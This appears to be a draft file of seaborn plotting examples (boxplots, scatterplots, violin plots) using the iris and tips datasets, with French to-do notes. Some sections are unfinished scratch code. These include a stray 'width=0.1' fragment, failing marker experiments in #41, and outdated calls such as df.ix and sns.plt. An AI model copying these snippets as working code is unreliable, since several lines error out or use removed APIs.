|\t\t\t\t\t\t\t\t\t\t\t|\r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n  -----------------------------------------\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #30 Basic Boxplot | Seaborn\r\n\r\n# -- ONE VARIABLE\r\n\r\n# library & dataset\r\nimport seaborn as sns\r\ndf = sns.load_dataset('iris')\r\n\r\n# Make boxplot for one group only\r\np1=sns.boxplot( y=df[\"sepal_length\"] )\r\n#sns.plt.show()\r\n\r\n# save \r\nfig = p1.get_figure()\r\nfig.set_size_inches(4.8, 4.8)\r\nfig.savefig('PNG/#30_Basic_Box_seaborn1.png')\r\n\r\n\r\n# -- ONE VARIABLE AND SEVERAL GROUPS\r\n\r\n# library & dataset\r\nimport seaborn as sns\r\ndf = sns.load_dataset('iris')\r\n\r\np2=sns.boxplot( x=df[\"species\"], y=df[\"sepal_length\"] )\r\n#sns.plt.show()\r\n\r\n# save \r\nfig = p2.get_figure()\r\nfig.set_size_inches(4.8, 4.8)\r\nfig.savefig('PNG/#30_Basic_Box_seaborn2.png')\r\n\r\n\r\n# -- SEVERAL VARIABLES\r\n\r\n# library & dataset\r\nimport seaborn as sns\r\ndf = sns.load_dataset('iris')\r\n\r\np3=sns.boxplot(data=df.ix[:,0:2])\r\n#sns.plt.show()\r\n\r\n# save \r\nfig = p3.get_figure()\r\nfig.set_size_inches(4.8, 4.8)\r\nfig.savefig('PNG/#30_Basic_Box_seaborn3.png')\r\n\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #31 Horizontal Boxplot\r\n\r\n# library & dataset\r\nimport seaborn as sns\r\ndf = sns.load_dataset('iris')\r\n\r\n# Just switch x and y\r\np1=sns.boxplot( y=df[\"species\"], x=df[\"sepal_length\"] )\r\n#sns.plt.show()\r\n\r\n# save \r\nfig = p1.get_figure()\r\nfig.set_size_inches(4.8, 4.8)\r\nfig.savefig('PNG/#31_Horizontal_Boxplot_Seaborn.png')\r\n\r\n#Note: we can use the 'orient' version as well (=\"h\" or =\"v\")\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #32 Custom Appearance\r\n\r\n# library & dataset\r\nimport seaborn as sns\r\ndf = sns.load_dataset('iris')\r\n\r\n# Change line width\r\np1=sns.boxplot( x=df[\"species\"], y=df[\"sepal_length\"], linewidth=5)\r\n#sns.plt.show()\r\n\r\n# save \r\nfig = p1.get_figure()\r\nfig.set_size_inches(4.8, 4.8)\r\nfig.savefig('PNG/#32_Custom_Boxplot_Appearance_Seaborn1.png')\r\n\r\n\r\n# Add notch\r\np2=sns.boxplot( x=df[\"species\"], y=df[\"sepal_length\"], notch=True)\r\n#sns.plt.show()\r\n\r\n# save \r\nfig = p2.get_figure()\r\nfig.set_size_inches(4.8, 4.8)\r\nfig.savefig('PNG/#32_Custom_Boxplot_Appearance_Seaborn2.png')\r\n\r\n\r\n# Change width\r\np3=sns.boxplot( x=df[\"species\"], y=df[\"sepal_length\"], width=0.3)\r\n#sns.plt.show()\r\n\r\n# save \r\nfig = p3.get_figure()\r\nfig.set_size_inches(4.8, 4.8)\r\nfig.savefig('PNG/#32_Custom_Boxplot_Appearance_Seaborn3.png')\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #33 Control color\r\n\r\n# library & dataset\r\nimport seaborn as sns\r\ndf = sns.load_dataset('iris')\r\n\r\n# Use a color palette\r\np1=sns.boxplot( x=df[\"species\"], y=df[\"sepal_length\"], palette=\"Blues\")\r\n\r\n# You can use: \r\n# \t- Rcolorbrewer: Set1, Set2, Set3, Paired, \r\n#\t- Sequential color palette: Blues, BuGn_r ...\r\n# \t- other: husl\r\n# save \r\nfig = p1.get_figure()\r\nfig.set_size_inches(4.8, 4.8)\r\nfig.savefig('PNG/#33_Custom_Boxplot_color_Seaborn1.png')\r\n\r\n# Uniform color\r\nimport seaborn as sns\r\ndf = sns.load_dataset('iris')\r\np2=sns.boxplot( x=df[\"species\"], y=df[\"sepal_length\"], color=\"skyblue\")\r\nfig = p2.get_figure()\r\nfig.set_size_inches(4.8, 4.8)\r\nfig.savefig('PNG/#33_Custom_Boxplot_color_Seaborn2.png')\r\n\r\n# Specific color for each group\r\nimport seaborn as sns\r\ndf = sns.load_dataset('iris')\r\nmy_pal = {\"versicolor\": \"g\", \"setosa\": \"b\", \"virginica\":\"m\"}\r\np3=sns.boxplot( x=df[\"species\"], y=df[\"sepal_length\"], palette=my_pal)\r\nfig = p3.get_figure()\r\nfig.set_size_inches(4.8, 4.8)\r\nfig.savefig('PNG/#33_Custom_Boxplot_color_Seaborn3.png')\r\n\r\n# Highlight a group\r\nimport seaborn as sns\r\ndf = sns.load_dataset('iris')\r\nmy_pal = {species: \"r\" if species == \"versicolor\" else \"b\" for species in df.species.unique()}\r\np4=sns.boxplot( x=df[\"species\"], y=df[\"sepal_length\"], palette=my_pal)\r\nfig = p4.get_figure()\r\nfig.set_size_inches(4.8, 4.8)\r\nfig.savefig('PNG/#33_Custom_Boxplot_color_Seaborn4.png')\r\n\r\n# Add transparency. Inspired from mwaskom here: https://github.com/mwaskom/seaborn/issues/979\r\nimport seaborn as sns\r\ndf = sns.load_dataset('iris')\r\nax = sns.boxplot(x='species', y='sepal_length', data=df)\r\nfor patch in ax.artists:\r\n    r, g, b, a = patch.get_facecolor()\r\n    patch.set_facecolor((r, g, b, .3))\r\nfig = ax.get_figure()\r\nfig.set_size_inches(4.8, 4.8)\r\nfig.savefig('PNG/#33_Custom_Boxplot_color_Seaborn5.png')\r\n    \r\n\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #34 Grouped boxplot\r\n\r\n# library & dataset\r\nimport seaborn as sns\r\ndf = sns.load_dataset('tips')\r\n\r\n# Grouped boxplot\r\np1=sns.boxplot(x=\"day\", y=\"total_bill\", hue=\"smoker\", data=df, palette=\"Set1\")\r\n#sns.plt.show()\r\n\r\nfig = p1.get_figure()\r\nfig.set_size_inches(4.8, 4.8)\r\nfig.savefig('PNG/#34_Grouped_Boxplot_Seaborn.png')\r\n\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #35 control order of groups\r\n\r\n# --- SPECIFIC ORDER\r\n\r\n# library & dataset\r\nimport seaborn as sns\r\ndf = sns.load_dataset('iris')\r\n\r\np1=sns.boxplot(x='species', y='sepal_length', data=df, order=[\"virginica\", \"versicolor\", \"setosa\"])\r\nfig = p1.get_figure()\r\nfig.set_size_inches(4.8, 4.8)\r\nfig.savefig('PNG/#35_Specific_order_Boxplot_Seaborn1.png')\r\n\r\n\r\n# --- ORDERED BY MEDIAN\r\n\r\n# library & dataset\r\nimport seaborn as sns\r\ndf = sns.load_dataset('iris')\r\n\r\n# Find the order\r\nmy_order = df.groupby(by=[\"species\"])[\"sepal_length\"].median().iloc[::-1].index\r\n# Give it to the boxplot\r\np2=sns.boxplot(x='species', y='sepal_length', data=df, order=my_order)\r\nfig = p2.get_figure()\r\nfig.set_size_inches(4.8, 4.8)\r\nfig.savefig('PNG/#35_Specific_order_Boxplot_Seaborn2.png')\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #36 add jitter over boxplot\r\n\r\n# library & dataset\r\nimport seaborn as sns\r\ndf = sns.load_dataset('iris')\r\n\r\n# Y suffit d'ajouter swarmplot\r\nax = sns.boxplot(x='species', y='sepal_length', data=df)\r\nax = sns.swarmplot(x='species', y='sepal_length', data=df, color=\"grey\")\r\n\r\nfig = ax.get_figure()\r\nfig.set_size_inches(4.8, 4.8)\r\nfig.savefig('PNG/#36_Boxplot_with_Jitter_Seaborn.png')\r\n\r\n# Note this could also be donne using stripplot\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #37 Boxplot with variable width\r\n width=0.1\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #38 Number of observation on boxplot\r\n\r\n# library & dataset\r\nimport seaborn as sns, numpy as np\r\ndf = sns.load_dataset(\"iris\")\r\nax = sns.boxplot(x=\"species\", y=\"sepal_length\", data=df)\r\n\r\n# Calculate number of obs per group & median to position labels\r\nmedians = df.groupby(['species'])['sepal_length'].median().values\r\nnobs = df['species'].value_counts().values\r\nnobs = [str(x) for x in nobs.tolist()]\r\nnobs = [\"n: \" + i for i in nobs]\r\n\r\n# Add it to the plot\r\npos = range(len(nobs))\r\nfor tick,label in zip(pos,ax.get_xticklabels()):\r\n    ax.text(pos[tick], medians[tick] + 0.03, nobs[tick], \r\n            horizontalalignment='center', size='x-small', color='w', weight='semibold')\r\n\r\nsns.plt.show()\r\n\r\nfig = ax.get_figure()\r\nfig.set_size_inches(4.8, 4.8)\r\nfig.savefig('PNG/#38_Number_of_obs_on_boxplot_seaborn.png')\r\n\r\n\r\n\r\n\r\n            \r\n            \r\n            \r\n            \r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #39 Bad Boxplot 1: not enough detail\r\n\r\n# REASON 1 = number of data\r\n# REASON 2 = structure of underlying data\r\n\r\n# libraries and data\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nimport seaborn as sns\r\nimport pandas as pd\r\n\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi))\r\n           \r\n# Dataset:\r\na = pd.DataFrame({ 'group' : np.repeat('A',500), 'value': np.random.normal(10, 5, 500) })\r\nb = pd.DataFrame({ 'group' : np.repeat('B',500), 'value': np.random.normal(13, 1.2, 500) })\r\nc = pd.DataFrame({ 'group' : np.repeat('B',500), 'value': np.random.normal(18, 1.2, 500) })\r\nd = pd.DataFrame({ 'group' : np.repeat('C',20), 'value': np.random.normal(25, 4, 20) })\r\ne = pd.DataFrame({ 'group' : np.repeat('D',100), 'value': np.random.uniform(12, size=100) })\r\ndf=a.append(b).append(c).append(d).append(e)\r\n\r\n# Usual boxplot\r\nsns.boxplot(x='group', y='value', data=df)\r\nplt.savefig('PNG/#39_Bad_boxplot1.png', dpi=my_dpi, bbox_inches='tight')\r\n\r\n# FIX IT\r\n\r\n# Add jitter with the swarmplot function.\r\nax = sns.boxplot(x='group', y='value', data=df)\r\nax = sns.stripplot(x='group', y='value', data=df, color=\"orange\",  jitter=0.2, size=2.5)\r\nplt.title(\"Boxplot with jitter\", loc=\"left\")\r\nplt.savefig('PNG/#39_Bad_boxplot2.png', dpi=my_dpi, bbox_inches='tight')\r\n\r\n# Use violin plot\r\nsns.violinplot( x='group', y='value', data=df)\r\nplt.title(\"Violin plot\", loc=\"left\")\r\nplt.savefig('PNG/#39_Bad_boxplot3.png', dpi=my_dpi, bbox_inches='tight')\r\n\r\n\r\n# SHow number of data point. See graph #38\r\nsns.boxplot(x=\"group\", y=\"value\", data=df)\r\n\r\n# Calculate number of obs per group & median to position labels\r\nmedians = df.groupby(['group'])['value'].median().values\r\nnobs = df.groupby(\"group\").size().values\r\nnobs = [str(x) for x in nobs.tolist()]\r\nnobs = [\"n: \" + i for i in nobs]\r\n \r\n# Add it to the plot\r\npos = range(len(nobs))\r\nfor tick,label in zip(pos,ax.get_xticklabels()):\r\n   plt.text(pos[tick], medians[tick] + 0.4, nobs[tick], horizontalalignment='center', size='medium', color='w', weight='semibold')\r\n \r\nplt.title(\"Boxplot with number of observation\", loc=\"left\")\r\nplt.savefig('PNG/#39_Bad_boxplot4.png', dpi=my_dpi, bbox_inches='tight')\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n  -----------------------------------------\r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n |  SERIE #40 -> #50  SEABORN SCATTERPLOT\r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n  -----------------------------------------\r\n\r\n# MANQUE !!!! : \r\n\t- Scatter plot with rug\r\n\t- avec les distributions en haut et sur le cot\u00e9\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #40 Basic Scatterplot | Seaborn\r\n\r\n# library & dataset\r\nimport seaborn as sns\r\ndf = sns.load_dataset('iris')\r\n\r\n# use the function regplot to make a scatterplot\r\np1=sns.regplot(x=df[\"sepal_length\"], y=df[\"sepal_width\"])\r\n#sns.plt.show()\r\n\r\n# save \r\nfig = p1.get_figure()\r\nfig.set_size_inches(4.8, 4.8)\r\nfig.savefig('PNG/#40_Scatterplot_with_regression_fit_seaborn.png')\r\n\r\n\r\n# Without regression fit:\r\np2=sns.regplot(x=df[\"sepal_length\"], y=df[\"sepal_width\"], fit_reg=False)\r\n#sns.plt.show()\r\n\r\n# save \r\nfig = p2.get_figure()\r\nfig.set_size_inches(4.8, 4.8)\r\nfig.savefig('PNG/#40_Basic_Scatterplot_seaborn.png')\r\n\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #41 Control marker features | Seaborn\r\n\r\n# library & dataset\r\nimport seaborn as sns\r\ndf = sns.load_dataset('iris')\r\n\r\n# Change shape of marker\r\np1=sns.regplot(x=df[\"sepal_length\"], y=df[\"sepal_width\"], marker=\"+\", fit_reg=False)\r\n#sns.plt.show()\r\n\r\n# save \r\nfig = p1.get_figure()\r\nfig.set_size_inches(4.8, 4.8)\r\nfig.savefig('PNG/#41_Scatterplot_change_marker_shape_seaborn.png')\r\n\r\n# TODO : figure avec toutes les possibilit\u00e9s.\r\n#[0, 1, 2, 3, 4, u'D', 6, 7, 8, u's', u'|', 11, u'None', u'P', 9, u'x', u'X', 5, u'_', u'^', u' ', None, u'd', u'h', u'+', u'*', u',', u'o', u'.', u'1', u'p', u'3', u'2', u'4', u'H', u'v', u'', u'8', 10, u'<', u'>']\r\nx=np.repeat(range(1,4),3)\r\ny=range(1,4)*3\r\nmarker=range(1,10)\r\ndf=pd.DataFrame({'x': x, 'y': y, 'marker': marker })\r\nsns.regplot( x=df['x'], y=df['y'], marker=u'x', fit_reg=False)\r\nsns.plt.show()\r\n\r\n\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\n\r\nimport matplotlib.pyplot as plt\r\nx=np.repeat(range(1,4),3)\r\ny=range(1,4)*3\r\nplt.scatter(x, y, s=100, c='blue', alpha=0.8, marker=range(1,7) )\r\nplt.show()\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nall_shapes=markers.MarkerStyle.markers.keys()\r\nsns.regplot( x=1, y=1, marker=all_shapes[0], fit_reg=False)\r\nsns.plt.show()\r\n\r\n\r\n\r\n\r\nfrom matplotlib import markers\r\nmarkers.MarkerStyle.markers.keys()\r\n# library & dataset\r\nimport seaborn as sns\r\ndf = sns.load_dataset('iris')\r\np1=sns.regplot(x=df[\"sepal_length\"], y=df[\"sepal_width\"], marker=3, fit_reg=False)\r\nsns.plt.show()\r\n\r\n# More marker customization:\r\np2=sns.regplot(x=df[\"sepal_length\"], y=df[\"sepal_width\"], fit_reg=False, scatter_kws={\"color\":\"darkred\",\"alpha\":0.3,\"s\":200} )\r\n#sns.plt.show()\r\n\r\n# save \r\nfig = p2.get_figure()\r\nfig.set_size_inches(4.8, 4.8)\r\nfig.savefig('PNG/#41_Scatterplot_change_marker_color_seaborn.png')\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #42  Custom linear regression fit\r\n\r\n# library & dataset\r\nimport seaborn as sns\r\ndf = sns.load_dataset('iris')\r\n\r\n# plot\r\np1=sns.regplot(x=df[\"sepal_length\"], y=df[\"sepal_width\"], line_kws={\"color\":\"r\",\"alpha\":0.7,\"lw\":5})\r\n#sns.plt.show()\r\n\r\n\r\n# save \r\nfig = p1.get_figure()\r\nfig.set_size_inches(4.8, 4.8)\r\nfig.savefig('PNG/#42_Scatterplot_custom_linear_fit_seaborn.png')\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #43  map a color to a variable\r\n\r\n# We use the lm function, not the regplot function\r\n# This function combines regplot() and FacetGrid. It is intended as a convenient interface to fit regression models across conditional subsets of a dataset.\r\n# see http://seaborn.pydata.org/generated/seaborn.lmplot.html\r\n\r\n# We can control color on individual points in regplot as well, see graph #45\r\n\r\n\r\n\r\n# library & dataset\r\nimport seaborn as sns\r\ndf = sns.load_dataset('iris')\r\n\r\nimport matplotlib.pyplot as plt\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n# Use the 'hue' argument to provide a factor variable\r\nsns.lmplot( x=\"sepal_length\", y=\"sepal_width\", data=df, fit_reg=False, hue='species', legend=False)\r\n# Move the legend to an empty part of the plot\r\nplt.legend(loc='lower right')\r\n#sns.plt.show()\r\nplt.savefig('PNG/#43_seaborn_map_color_to_a_avariable1.png')\r\n\r\n\r\n\r\n\r\n# library & dataset\r\nimport seaborn as sns\r\ndf = sns.load_dataset('iris')\r\n\r\nimport matplotlib.pyplot as plt\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n# Use the 'hue' argument to provide a factor variable\r\nsns.lmplot( x=\"sepal_length\", y=\"sepal_width\", data=df, fit_reg=False, hue='species', legend=False,  markers=[\"o\", \"x\", \"1\"])\r\n# Move the legend to an empty part of the plot\r\nplt.legend(loc='lower right')\r\n#sns.plt.show()\r\nplt.savefig('PNG/#43_seaborn_map_color_to_a_avariable2.png')\r\n\r\n\r\n# Use another palette\r\n# possibilities:     deep, muted, bright, pastel, dark, colorblind\r\n\r\n# library & dataset\r\nimport seaborn as sns\r\ndf = sns.load_dataset('iris')\r\n\r\nimport matplotlib.pyplot as plt\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n# Use the 'hue' argument to provide a factor variable\r\nsns.lmplot( x=\"sepal_length\", y=\"sepal_width\", data=df, fit_reg=False, hue='species', legend=False,  palette=\"Set2\")\r\n# Move the legend to an empty part of the plot\r\nplt.legend(loc='lower right')\r\n#sns.plt.show()\r\nplt.savefig('PNG/#43_seaborn_map_color_to_a_avariable3.png')\r\n\r\n\r\n# Specific color for each group:\r\n# library & dataset\r\nimport seaborn as sns\r\ndf = sns.load_dataset('iris')\r\n\r\nimport matplotlib.pyplot as plt\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n# Use the 'hue' argument to provide a factor variable\r\nsns.lmplot( x=\"sepal_length\", y=\"sepal_width\", data=df, fit_reg=False, hue='species', legend=False,  palette=dict(setosa=\"#9b59b6\", virginica=\"#3498db\", versicolor=\"#95a5a6\"))\r\n# Move the legend to an empty part of the plot\r\nplt.legend(loc='lower right')\r\n#sns.plt.show()\r\nplt.savefig('PNG/#43_seaborn_map_color_to_a_avariable4.png')\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #44  Control xlim and ylim\r\n\r\n\r\n# library & dataset\r\nimport seaborn as sns\r\ndf = sns.load_dataset('iris')\r\n\r\nimport matplotlib.pyplot as plt\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\n\r\n# Use the 'hue' argument to provide a factor variable\r\np1=sns.lmplot( x=\"sepal_length\", y=\"sepal_width\", data=df, fit_reg=False)\r\n#sns.plt.show()\r\n\r\n\r\nsns.plt.ylim(0, 20)\r\nsns.plt.xlim(0, None)\r\n\r\n\r\nplt.savefig('PNG/#44_seaborn_control_axis_limits.png')\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #45 color depends x and y value\r\n\r\nimport pandas as pd\r\nimport numpy as np\r\nimport matplotlib.pylab as plt\r\nimport seaborn as sns\r\n\r\nnp.random.seed(0)\r\n\r\n# Create dataframe\r\ndf = pd.DataFrame(np.random.random((100,2)), columns=[\"x\",\"y\"])\r\nvalue=(df['x']>0.2) & (df['y']>0.4)\r\ndf['color']= np.where( value==True , \"#9b59b6\", \"#3498db\")\r\n\r\n\r\np1=sns.regplot(data=df, x=\"x\", y=\"y\", fit_reg=False, scatter_kws={'facecolors':df['color']})\r\n#sns.plt.show()\r\n\r\n\r\nfig = p1.get_figure()\r\nfig.set_size_inches(4.8, 4.8)\r\nfig.savefig('PNG/#45_set_color_of_each_point_in_scatterplot_seaborn.png')\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #46 Add annotation to points\r\n\r\n# Basic scatterplot\r\n\r\nimport pandas as pd\r\nimport numpy as np\r\nimport matplotlib.pylab as plt\r\nimport seaborn as sns\r\n\r\n# Create dataframe\r\ndf = pd.DataFrame({\r\n\t'x': [1, 1.5, 3, 4, 5], \r\n\t'y': [5, 15, 5, 10, 2],\r\n\t'group': ['A','other group','B','C','D']\r\n\t})\r\n\r\np1=sns.regplot(data=df, x=\"x\", y=\"y\", fit_reg=False, marker=\"+\", color=\"skyblue\")\r\n#sns.plt.show()\r\n\r\nfig = p1.get_figure()\r\nfig.set_size_inches(4.8, 4.8)\r\nfig.savefig('PNG/#46_add_text_annotation_scatterplot_seaborn1.png')\r\n\r\n\r\n\r\n# Add ONE annotation\r\nimport pandas as pd\r\nimport numpy as np\r\nimport matplotlib.pylab as plt\r\nimport seaborn as sns\r\n\r\n# Create dataframe\r\ndf = pd.DataFrame({\r\n\t'x': [1, 1.5, 3, 4, 5], \r\n\t'y': [5, 15, 5, 10, 2],\r\n\t'group': ['A','other group','B','C','D']\r\n\t})\r\n\r\np1=sns.regplot(data=df, x=\"x\", y=\"y\", fit_reg=False, marker=\"o\", color=\"skyblue\", scatter_kws={'s':400})\r\np1.text(3+0.2, 4.5, \"An annotation\", horizontalalignment='left', size='medium', color='black', weight='semibold')\r\n#sns.plt.show()\r\n\r\n\r\nfig = p1.get_figure()\r\nfig.set_size_inches(4.8, 4.8)\r\nfig.savefig('PNG/#46_add_text_annotation_scatterplot_seaborn2.png')\r\n\r\n\r\n\r\n# Add SEVERAL annotations in a loop\r\nimport pandas as pd\r\nimport numpy as np\r\nimport matplotlib.pylab as plt\r\nimport seaborn as sns\r\n\r\n# Create dataframe\r\ndf = pd.DataFrame({\r\n\t'x': [1, 1.5, 3, 4, 5], \r\n\t'y': [5, 15, 5, 10, 2],\r\n\t'group': ['A','other group','B','C','D']\r\n\t})\r\n\r\np1=sns.regplot(data=df, x=\"x\", y=\"y\", fit_reg=False, marker=\"o\", color=\"skyblue\", scatter_kws={'s':400})\r\nfor line in range(0,df.shape[0]):\r\n\tp1.text(df.x[line]+0.2, df.y[line], df.group[line], horizontalalignment='left', size='medium', color='black', weight='semibold')\r\n#sns.plt.show()\r\n\r\nfig = p1.get_figure()\r\nfig.set_size_inches(4.8, 4.8)\r\nfig.savefig('PNG/#46_add_text_annotation_scatterplot_seaborn3.png')\r\n\r\n\r\n\r\n  -----------------------------------------\r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n |  SERIE #50 -> #60  SEABORN VIOLINPLOT\r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n  -----------------------------------------\r\n\r\n\r\nEn gros un violin plot c'est quasi la meme chose qu'un boxplot\r\nDonc je peux reprendre la meme section et la dupliquer plus ou moins..\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #50 Basic Violinplot | Seaborn\r\n\r\n# -- ONE VARIABLE\r\n\r\n# library & dataset\r\nimport seaborn as sns\r\ndf = sns.load_dataset('iris')\r\n\r\n# Make boxplot for one group only\r\np1=sns.violinplot( y=df[\"sepal_length\"] )\r\n#sns.plt.show()\r\n\r\n# save \r\nfig = p1.get_figure()\r\nfig.set_size_inches(4.8, 4.8)\r\nfig.savefig('PNG/#50_Basic_Violin_seaborn1.png')\r\n\r\n\r\n# -- ONE VARIABLE AND SEVERAL GROUPS\r\n\r\n# library & dataset\r\nimport seaborn as sns\r\ndf = sns.load_dataset('iris')\r\n\r\np2=sns.violinplot( x=df[\"species\"], y=df[\"sepal_length\"] )\r\n#sns.plt.show()\r\n\r\n# save \r\nfig = p2.get_figure()\r\nfig.set_size_inches(4.8, 4.8)\r\nfig.savefig('PNG/#50_Basic_Violin_seaborn2.png')\r\n\r\n\r\n# -- SEVERAL VARIABLES\r\n\r\n# library & dataset\r\nimport seaborn as sns\r\ndf = sns.load_dataset('iris')\r\n\r\np3=sns.violinplot(data=df.ix[:,0:2])\r\n#sns.plt.show()\r\n\r\n# save \r\nfig = p3.get_figure()\r\nfig.set_size_inches(4.8, 4.8)\r\nfig.savefig('PNG/#50_Basic_Violin_seaborn3.png')\r\n\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #51 